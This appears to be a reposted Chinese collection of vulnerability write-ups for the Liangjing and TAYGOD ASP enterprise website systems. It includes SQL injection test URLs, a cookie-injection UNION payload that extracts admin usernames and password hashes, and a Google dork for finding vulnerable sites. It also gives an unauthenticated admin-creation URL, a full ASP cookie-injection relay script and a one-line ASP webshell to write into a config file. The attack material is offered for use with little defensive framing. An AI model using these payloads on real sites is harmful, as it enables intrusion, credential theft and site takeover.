下面是小编为大家推荐的良精企业通用建站系统漏洞总汇漏洞预警(共含4篇),欢迎大家分享。同时,但愿您也能像本文投稿人“船肚载丞相”一样,积极向本站投稿分享好文章。
一,SQl注入漏洞
1,典型的Cookies注入
漏洞文件:Shownews.asp
问题代码:id=cstr(request(“id”))
Set rsnews=Server.CreateObject(“ADODB.RecordSet”)
sql=“update news set hits=hits+1 where id=”&id
conn.execute sql
sql=“select * from news where id=”&owen
rsnews.Open sql,conn,1,1
title=rsnews(“title”)
if rsnews.eof and rsnews.bof then
response.Write(“数据库出错”)
很明显,id参数没有经过过滤直接代入数据库查询,其中cstr只是将数值型转换成字符型,但是直接输入注语句会提示出错,因为头文件包含防注入系统,但它只对Get和Post过滤,却没有对Cookies过滤,这样就可以进行Cookies注入了,具体方法可以用注入中转或者GreenBrowser自带的Js插件,我就不多说了,详细步骤可以看我以前的文章,
2,字符型注入
漏洞文件:UserEditPwd.asp
问题代码:www.XXX.com Action=trim(request(“Action”))
UserName=trim(request(“UserName”))
if Action=“” and session(“UserName”)=“” then
response.redirect “UserServer.asp”
end if
if Action=“Modify” and UserName“” then
Set rsUser=Server.CreateObject(“Adodb.RecordSet”)
sqlUser=“select * from [User] where UserName='” & UserName & “'”
rsUser.Open sqlUser,conn,1,3
显然username只过滤了空格边代入数据库查询。这是字符型的注入,而且程序员很配合的没有使用防注入系统,注入就产生了。由于用了session验证,利用时首先注册一用户,我就以用户shaun为例,注入语句如下:www.XXX.com /UserEditPwd.asp?Action=Modify&UserName=shaun' and '1'='1;
www.XXX.com /UserEditPwd.asp?Action=Modify&UserName=shaun' and '1'='2;
3,搜索型注入
漏洞文件:News_search.asp
问题代码:key=Trim(request(“key”))
type=Trim(request(“otype”))
BigClass=request(“BigClass”)
省略部分代码
Set rs= Server.CreateObject(“ADODB.Recordset”)
if type=“title” then
sql=“select * from news where title Like '%”&key&“%' order by id desc”
else
sql=“select * from news where content Like '%”&key&“%' order by id desc”
end if
rs.open sql,conn,1,1
可以看到,key未经过过滤就进行了数据库查询,因此造成了搜索型注入,
注入语句参考:
www.XXX.com /News_search.asp?otype=title&Submit=搜索&key=1%' and 1=1 '%'='
www.XXX.com /News_search.asp?otype=title&Submit=搜索&key=1%' and 1=2 '%'='
二,跨站漏洞
漏洞文件:FeedbackSave.asp
问题代码:Add=trim(request.form(“Add”))
Postcode=trim(request.form(“Postcode”))
Mobile=trim(request.form(“Mobile”))
Fax=trim(request.form(“Fax”))
email=trim(request.form(“email”))
Language=trim(request.QueryString(“Language”))
省略部分代码
Set rs = Server.CreateObject(“ADODB.Recordset”)
sql=“select * from Feedback”
rs.open sql,conn,1,3
省略部分代码
rs(“CompanyName”)=trim(request.form(“CompanyName”))
rs(“Add”)=Add
rs(“Postcode”)=Postcode
rs(“Receiver”)=trim(request.form(“Receiver”))
rs(“Phone”)=trim(request.form(“Phone”))
rs(“Mobile”)=Mobile
rs(“Fax”)=Fax
rs(“email”)=email
rs(“title”)=trim(request.form(“title”))
rs(“content”)=htmlencode2(request.form(“content”))
rs(“Publish”)=trim(request.form(“Publish”))
if Language=“ch” then
rs(“Language”)=“0”
else
rs(“Language”)=“1”
end if
rs(“time”)=date
rs.update
rs.close
这里Add,Postcode,Mobile,Fax,email等均没有进行过滤,可以再主题和Email那里填写代码,
三,上传漏洞:
漏洞文件:upfile_Other.asp
问题代码:fileExt=lcase(file.FileExt)
Forumupload=split(UpFileType,“|”)
for i=0 to ubound(Forumupload)
if fileEXT=trim(Forumupload(i)) then
EnableUpload=true
exit for
end if
next
if fileEXT=“asp” or fileEXT=“asa” or fileEXT=“aspx” then
EnableUpload=false
end if
if EnableUpload=false then
'msg=“这种文件类型不允许上传!\n\n只允许上传这几种文件类型:” & UpFileType
这个是大家很常见的上传漏洞,可以上传php文件或者本地提交加空格绕过过滤,我就不多说了,
一 系统简介
TAYGOD免费企业建站系统是一款开源的免费程序,您可以
TAYGOD免费企业建站系统ASP版是一款基于asp+access的免费开源建站系统,整套系统的设计构造,完全考虑中小企业类网站的功能要求,网站后台功能强大,管理简捷,支持模板机制,能够快速建立您的企业网站。
系统特性:
采用流行的asp+access设计,功能强,实用性高。
代码美工完全分离,维护更方便。
对运行环境要求低,基本上一般的空间都支持此网站系统的运行。
完美整合KindEditor编辑器,所见所得发布各类图文信息。
后台操作简洁,无需专业知识,即可掌控整站。
风格模板机制简单,通过简单的HTML制作即可,后台提供完善的标签调用说明与示例。
后台数据库备份,您可以通过FTP工具将备案的数据库文件下载到您本地电脑中。
一:添加管理员XSS漏洞。
漏洞文件:\source\adminAdmin_Add.asp
漏洞代码:
<%if request.QueryString(“action”)=”save”thenuid=replace(trim(Request(“uid”)),”‘”,”“)realname=replace(trim(Request(“realname”)),”‘”,””)pwd1=replace(trim(Request(“pwd1″)),”‘”,”“)pwd2=replace(trim(Request(“pwd2″)),”‘”,””)password=md5(pwd1)
未进行验证直接写入数据,
漏洞测试:
127.0.0.1/asp/source/admin/Admin_Add.asp?action=save&uid=test&realname=test&pwd1=itlynn&pwd2=password
将生成一个用户名与密码为:123456 password 的管理员。
至于怎么欺骗管理员打开,这就需要一点社工技术了。
自己研究吧。
二:留言板XSS漏洞
漏洞文件:\Message.asp
漏洞测试:在留言板页面插入XSS代码。
Author:Tr4c3[at]126[dot]com
www.nspcn.org
www.tr4c3.com
涉及版本:良精企业网站管理系统(-V09)官方正式商业版
其他版本未做测试
漏洞文件:
EnProductShow.asp
漏洞描述:
变量ID信任客户端提交值,带入sql语句查询,程序用了通用SQL防注入程序,详细见Check_Sql.asp,关键代码如下
ID=trim(request(“ID”))
if ID=“” then
response.Redirect(“EnProduct.asp”)
end if
sql=“select * from Product where ID=” & ID & “” '此处无过虑,注入点
Set rs= Server.CreateObject(“ADODB.Recordset”)
rs.open sql,conn,1,3
if rs.bof and rs.eof then
response.write“”
else
rs(“Hits”)=rs(“Hits”)+1
rs.update
Check_Sql.asp仅对GET和POST的数据进行了过滤,忽略了Cookie
利用方法:
Google搜索关键字 inurl:“EnProductShow.asp?id=”
cookie注入,支持union,Product表26个字段,演示如下
1.www.Tr4c3.com/EnProductShow.asp?ID=229
2.javascript.:alert(document.cookie=“id=”+escape(“229 union select 0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin”))
3.www.tr4c3.com/EnProductShow.asp
即可union出管理员帐号,密码(md5值)
后台地址
/admin/login.asp
后台拿shell方法很多,
略过
涉及版本:良精企业网站管理系统(2007-V09)官方正式商业版
其他版本未做测试
/*应该是所有的*/
漏洞文件:
EnProductShow.asp /*后续版本*/
Product_Show.asp /*早期版本*/
ProductShow.asp /*后期版本*/
其实都是一样的-_-!
漏洞描述:
变量ID信任客户端提交值,带入sql语句查询,程序用了通用SQL防注入程序,详细见Check_Sql.asp,关键代码如下
****************************************************************************
[复制到剪贴板]
CODE:
ID=trim(request(”ID”))
if ID=”“ then
response.Redirect(”EnProduct.asp”)
end if
sql=”select * from Product where ID=” & ID & “”
Set rs= Server.CreateObject(”ADODB.Recordset”)
rs.open sql,conn,1,3
if rs.bof and rs.eof then
response.write””
else
rs(”Hits”)=rs(”Hits”)+1
rs.update
****************************************************************************
Check_Sql.asp仅对GET和POST的数据进行了过滤,忽略了Cookie利用方法:
Google搜索关键字 inurl:”EnProductShow.asp?id=”
cookie注入,支持union,Product表26个字段,演示如下
localhost/EnProductShow.asp?ID=229
javascript.:alert(document.cookie=”id=”+escape(”229 union select 0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin”))
localhost/EnProductShow.asp
即可union出管理员帐号,密码(md5值)
后台地址
/admin/login.asp
后台拿shell方法很多。略过
补充:南方数据企业网站管理系统 ver10.0,漏洞和这个是一样的,利用的方法也大致相同,只是admin的字段数目不一样而已
/*―――――――――-xiao.k的注释&补充_20080614―――――――――-*/
本来自己也在分析这个系统的,既然tr4c3在很久之前就分析了.我也没啥必要去看了.
发现的问题就是union不能alert出pwd.
我的方法是中转cookies注入,脚本原型来自jmdcw
########################################################
[复制到剪贴板]
CODE:
< %
ID=request(”ID”)’确认id存在!
JmdcwName=escape(ID)
JmStr=”id=”&JmdcwName
url=request(”url”)
if request(”mod”)=”1″ then
url2=”Product_Show.asp” ‘早期版本
else
url2=”ProductShow.asp” ‘后期版本
end if
Url=””&url&”/”&url2 ‘请自行修改
JMUrl=url
JmRef=url
JmCok=”ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ”
JmCok=JmCok & “;” & Jmstr &”;”
JmCok=URLEncoding(JmCok)
jmstr=””
response.write PostData(JMUrl,JmStr,JmCok,JmRef)
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject(”msxml2.serverXMLHTTP”)
With Http
.Open “POST”,PostUrl,False
.SetRequestHeader “Content-Length”,Len(PostStr)
.SetRequestHeader “Content-Type”,”application/x-www-form-urlencoded”
.SetRequestHeader “Referer”,PostRef
.SetRequestHeader “Cookie”,PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = “”
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)
strReturn=”“
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & “%” & Hex(Hight1) & “%” & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
% >
########################################################
保存为cookies.asp
usage:
blog.sadk.org/temp/02/cookies.asp?mod=2&url=admin.asp99.cn/ljweb2007&id=80
注意:需要添加关键字的.
id一定要存在
直接在配置里写马 ”%><%execute(request(“tmd”))%><%Response.End’
★ dedecms 5.7 edit.inc.php文件注射漏洞预警
★ shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警
★ 火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警